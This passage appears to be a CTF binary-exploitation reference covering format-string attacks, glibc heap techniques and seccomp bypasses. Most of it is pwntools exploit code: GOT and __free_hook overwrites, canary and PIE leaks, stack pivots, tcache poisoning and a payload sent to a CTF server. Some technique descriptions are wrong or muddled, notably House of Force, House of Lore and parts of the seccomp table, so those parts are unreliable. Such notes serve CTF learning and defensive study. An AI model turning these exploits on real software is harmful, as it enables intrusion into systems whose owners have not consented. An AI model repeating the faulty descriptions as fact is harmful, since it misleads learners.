%<big>c%n # overwrite pointer slot to target_addr (e.g., exit@GOT)
%<delta>c%hn # write low 2 bytes of win to that GOT entryCompute widths:
- After writing
target_addrwith%n, the printed count isC. - To write low 2 bytes
Wwith%hn, print: delta = (W - (C % 65536)) mod 65536
When it works well:
- No PIE / Partial RELRO (GOT writable)
- You can afford large outputs (millions of chars)
Stack layout discovery (find your input offset):
%1$p %2$p %3$p ... %50$p- Your input appears at some offset (commonly 6-8)
- Canary: looks like
0x...00(null byte at end) - Saved RBP: stack address pattern
- Return address: code address (PIE or libc)
Blind Pwn (No Binary Provided)
When no binary is given, use format strings to discover everything:
1. Confirm vulnerability:
> %p-%p-%p-%p
0x563b6749100b-0x71-0xffffffff-0x7ffff9c37b802. Discover protections by leaking stack:
- Find canary (offset ~39, pattern
0x...00) - Find saved RBP (offset ~40, stack address)
- Find return address (offset ~41-43, code pointer)
3. Identify PIE base:
- Leak return address pointing into main/binary
- Subtract known offset to get base (may need guessing)
4. Dump GOT to identify libc:
# Read GOT entries for known functions
puts_addr = arb_read(pie_base + got_puts_offset)
stack_chk_addr = arb_read(pie_base + got_stack_chk_offset)5. Cross-reference libc database:
- https://libc.blukat.me/
- https://libc.rip/
- Input multiple function addresses to identify exact libc version
6. Calculate libc base:
# From leaked __libc_start_main return or similar
libc.address = leaked_ret_addr - known_offsetCommon stack offsets (x86_64):
| Offset | Typical Content |
|---|---|
| 6-8 | User input buffer |
| ~39 | Stack canary |
| ~40 | Saved RBP |
| ~41-43 | Return address |
Format String with Filter Bypass
Pattern (Cvexec): filter_string() strips % but skippable with %%%p.
Filter bypass: If filter checks adjacent chars after %:
%p→ filtered%%p→ properly escaped (prints literal%p)%%%p→ third%survives, prints stack value
GOT overwrite via format string (byte-by-byte with `%hhn`):
# Write last 3 bytes of debug() addr to strcmp@GOT across 3 payloads
# Pad address to consistent stack offset (e.g., 14th position)
for byte_offset in range(3):
target = got_strcmp + byte_offset
byte_val = (debug_addr >> (byte_offset * 8)) & 0xff
# Calculate chars to print, accounting for previous output
payload = f"%%%dc%%%d$hhn" % (byte_val - prev_written, 14)
payload = payload.encode().ljust(48, b'X') + p64(target)Format String Canary + PIE Leak
Pattern (My Little Pwny): Format string vulnerability to leak canary and PIE base, then buffer overflow.
Two-stage attack:
# Stage 1: Leak via format string
io.sendline(b'%39$p.%41$p') # Canary at offset 39, return addr at 41
leak = io.recvline()
canary = int(leak.split(b'.')[0], 16)
pie_base = int(leak.split(b'.')[1], 16) - known_offset
# Stage 2: Buffer overflow with known canary
win = pie_base + win_offset
payload = b'A' * buf_size + p64(canary) + p64(0) + p64(win)
io.sendline(payload)__free_hook Overwrite via Format String (glibc < 2.34)
Pattern (Notetaker, PascalCTF 2026): Full RELRO + No PIE + format string vulnerability. Can't overwrite GOT, but __free_hook is writable.
Key insight: free(ptr) passes ptr in rdi as first argument. If __free_hook = system, then free("cat flag") executes system("cat flag").
# 1. Leak libc via format string
p.sendline(b'%43$p') # __libc_start_main return address
libc_base = int(leaked, 16) - LIBC_START_MAIN_RET_OFFSET
# 2. Write system() address to __free_hook
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
payload = fmtstr_payload(8, {free_hook: system_addr}, write_size='byte')
# 3. Trigger: send command as menu input, program calls free(input_buffer)
p.sendline(b'cat flag') # free() → system("cat flag")When to use: Full RELRO (no GOT overwrite) + glibc < 2.34 (hooks still exist). For glibc >= 2.34, hooks are removed - target return addresses or _IO_FILE structs instead.
.rela.plt / .dynsym Patching
When to use: GOT addresses contain bad bytes (e.g., 0x0a with fgets), making direct GOT overwrite impossible. Requires .rela.plt and .dynsym in writable memory.
Technique: Patch .rela.plt relocation entry symbol index to point to different symbol, then patch .dynsym symbol's st_value with win() address. When the original function is called, dynamic linker reads patched relocation and jumps to win().
# Key addresses (from readelf -S)
REL_SYM_BYTE = 0x4006ec # .rela.plt[exit].r_info byte containing symbol index
STDOUT_STVAL_LO = 0x4004e8 # .dynsym[11].st_value low halfword
STDOUT_STVAL_HI = 0x4004ea # .dynsym[11].st_value high halfword
# Format string writes via %hhn (8-bit) and %hn (16-bit)
# 1. Write symbol index 0x0b to r_info byte
# 2. Write win() address low halfword to st_value
# 3. Write win() address high halfword to st_value+2When GOT has bad bytes but .rela.plt/.dynsym don't: This technique bypasses all GOT byte restrictions since you never write to GOT directly.
---
Format String for Game State Manipulation (UTCTF 2026)
Pattern (Small Blind): Poker/card game where player name is vulnerable to format string. Stack contains pointers to game state variables (player chips, dealer chips). Write arbitrary values to win condition.
Key insight: %n writes the number of characters printed so far. Use %Xc to control that count, then %N$n to write to the Nth stack argument (which points to a game variable).
Exploitation:
from pwn import *
p = remote('challenge.utctf.live', 7255)
p.recvuntil(b'Enter your name: ')
# %1000c prints 1000 chars (padding), then %7$n writes 1000 to stack pos 7
# Stack position 7 = pointer to player_chips variable
p.sendline(b'%1000c%7$n')
# Player now has 1000 chips → triggers win condition
# Collect flag from game outputDiscovery workflow: 1. Confirm format string: Send %p.%p.%p.%p as name, check for hex leaks 2. Map stack positions: Try %6$n, %7$n, %8$n with different %Xc values 3. Identify which variable changed: Compare game output (chips, score, health) before/after 4. Determine win condition: May be player_chips >= threshold or player > dealer 5. Craft winning payload: Set player chips high (%9999c%7$n) or dealer chips to 0 (%6$n)
Common game state patterns on stack:
| Position | Typical Variable |
|---|---|
| 6 | Pointer to dealer/opponent state |
| 7 | Pointer to player state |
| 8-10 | Score, health, inventory |
When `%n` writes to adjacent variables: If player and dealer chips are adjacent in memory (4 bytes apart), positions N and N+1 point to them. Write 0 to dealer (%N$n with 0 chars printed) and high value to player (%9999c%(N+1)$n).
Key insight: Format string vulnerabilities in game binaries are simpler than typical pwn — you don't need shell, just manipulate game state to trigger the win condition. Map stack positions to game variables, then write the winning values.
---
Format String Saved EBP Overwrite for .bss Pivot (PlaidCTF 2015)
Pattern (EBP): Format string buffer is in .bss (fixed address) rather than on the stack. Classic %n arbitrary-write requires attacker addresses on the stack, which is impossible with .bss buffers. Instead, overwrite the saved EBP to redirect the function epilogue (leave; ret) to the .bss buffer.
How `leave; ret` works:
leave: mov esp, ebp ; esp = saved_ebp
pop ebp ; ebp = [saved_ebp]
ret: pop eip ; eip = [saved_ebp + 4]Exploit layout in `.bss` buffer at address `0x0804A080`:
[addr_of_buf-4][padding_to_write_value][%n][shellcode...]Write buf_addr - 4 (e.g., 0x0804A07C) into saved EBP via %n. On function return, leave sets esp = 0x0804A07C, then ret jumps to the value at 0x0804A080 — the start of shellcode.
Key insight: When the format string buffer is at a fixed .bss address (not stack), overwrite saved EBP to pivot the stack into .bss. The leave; ret epilogue uses EBP to set ESP, so controlling EBP controls where ret reads EIP from. Place shellcode address (or ROP chain) at buf_addr and shellcode at buf_addr + offset.
---
argv[0] Overwrite for Stack Smash Info Leak (HITCON CTF 2015)
Pattern (nanana): When a stack canary is corrupted, glibc's __stack_chk_fail prints: *** stack smashing detected ***: <argv[0]> terminated. Since argv[0] is a pointer stored on the stack, overwriting it with the address of a secret (e.g., global password buffer) leaks the secret through the crash message.
Attack steps: 1. Overflow past the canary (deliberately corrupting it) 2. Continue overwriting the stack to reach argv[0] (pointer to program name) 3. Replace argv[0] with the address of the target data (e.g., 0x601090 = g_password) 4. The stack smash handler prints: *** stack smashing detected ***: <password_contents>
# Overflow to overwrite argv[0] with address of global password
payload = b"A" * canary_offset # reach canary (deliberately corrupt it)
payload += b"B" * (argv0_offset - canary_offset) # padding to argv[0]
payload += p64(password_addr) # overwrite argv[0] -> password stringKey insight: A "failed" exploit that triggers __stack_chk_fail becomes an information leak when argv[0] is overwritten. This is useful as a first stage: leak a secret (password, canary, address), then use it in a second connection for the real exploit. Works because argv is stored on the stack above local variables.
CTF Pwn - Heap Exploitation
Table of Contents
- Heap Basics
- tcache Poisoning
- House of Spirit
- House of Orange
- House of Lore
- House of Force
- Unsorted Bin Attack
- Seccomp Rules and Bypass
- Seccomp Quick Reference
- Seccomp-BPF Program Structure
---
Heap Basics
tcache structure (glibc 2.26+):
tcache_perthread_struct:
+0x00: counts[128] — entry count per size class
+0x400: entries[128] — head pointers for each size class
Chunk layout:
+0x00: prev_size / fd (in-use) or user data (freed)
+0x08: size + flags (PREV_INUSE, IS_MMAPPED, NON_MAIN_ARENA)Key constraints:
- Tcache max size:
0x408bytes (bin 64-0x408) - Tcache bins: singly-linked (only
fd) - Unsorted bin: doubly-linked (
fd+bk) - Fast bins: singly-linked, no consolidate
---
Tcache Poisoning
Pattern: Free without nulling pointer → UAF. Overwrite tcache fd to redirect allocations.
# Free chunk, then overwrite its fd pointer
free(chunk)
# chunk is now in tcache bin
# Overwrite next pointer via UAF
payload = p64(target_addr)
edit_chunk(chunk, payload)
# Next allocation returns target_addr
malloc(0x100)Safe-linking (glibc 2.32+): fd = ptr ^ (chunk_addr >> 12). Decode by: ptr = fd ^ (addr >> 12).
---
House of Spirit
Pattern: Overflow into a pointer that points to a fake chunk. Free it → allocator treats fake chunk as valid → next allocation returns controlled memory.
# Overflow into a pointer that we control
# Set it to point to fake chunk in .bss or stack
fake_chunk = 0x404500
payload = p64(fake_chunk)
send(payload)
# Trigger free on that pointer
delete(idx)---
House of Orange
Pattern: Cannot free a chunk normally (e.g., no free() function). Use unsorted bin as information leak.
# Create chunks, overflow into unsorted bin
# The overflow targets _IO_list_all pointer
# Trigger via _IO_flush_all in exit() → FSOP chainFSOP chain: _IO_FILE_plus vtable → _IO_wfile_jumps → system().
---
House of Lore
Pattern: Overwrite bk pointer in unsorted bin to point near a target (e.g., __malloc_hook). The victim chunk allocated at target address → control __malloc_hook.
# Overflow into unsorted bin chunk's bk pointer
# Point bk to target - 0x10 (looking for malloc at target)
payload = p64(target_addr - 0x10)
edit_chunk(chunk, payload)
# Trigger allocation at target
malloc(0x100)---
House of Force
Pattern: Overflow prev_size into a huge value. Next free(prev_chunk) consolidates backward — prev_size large enough to reach target. Then allocate at target.
# Overflow prev_size to a huge value
# Target: somewhere we can write (e.g., __free_hook, __malloc_hook)
# Free current chunk → backward consolidate → prev_size determines where next chunk is placed---
Unsorted Bin Attack
Pattern: Overwrite bk pointer of freed unsorted bin chunk to point to target - 0x10. When allocated, main_arena->bk overwritten with target - 0x10.
# Unsorted bin chunk's bk → target - 0x10
# Used to overwrite global pointers (e.g., _IO_list_all, libc pointers)
payload = p64(target_addr - 0x10)
edit_chunk(chunk, payload)---
Seccomp Rules and Bypass
Seccomp Quick Reference
| Blocked | Alternative | Syscall # |
|---|---|---|
open | openat | 257 |
open | openat2 | 437 |
read | mmap + access | 9 |
read | pread64 | 17 |
read | readv | 19 |
write | writev | 20 |
write | sendfile | 40 |
Seccomp-BPF Program Structure
// seccomp-tools dump ./binary shows BPF bytecode:
# =========================================
# line JK JT K operands
0 0 0 20 x86_64 return 0x7fff0000 (allow if >= 0x7fff0000)
1 0 1 0 sys_no if (sys_no <= 0) return ALLOW
2 0 1 59 sys_no if (sys_no == 59) return KILL (execve)
3 0 0 0 return ALLOWAlternative approach: Use xchg rdi, rax to capture dynamic fd from open() return value when fd numbers vary (Docker/socat environments):
rop.raw(libc_base + 0x181fe1) # xchg rdi, rax; cld; ret
# open() return → rdi → passed to read() correctly---
For more advanced heap techniques (tcache stashing, ret2dlresolve, House of X variants), see advanced-pwn.md.
For FSOP techniques and GOT overwrite, see format-string.md.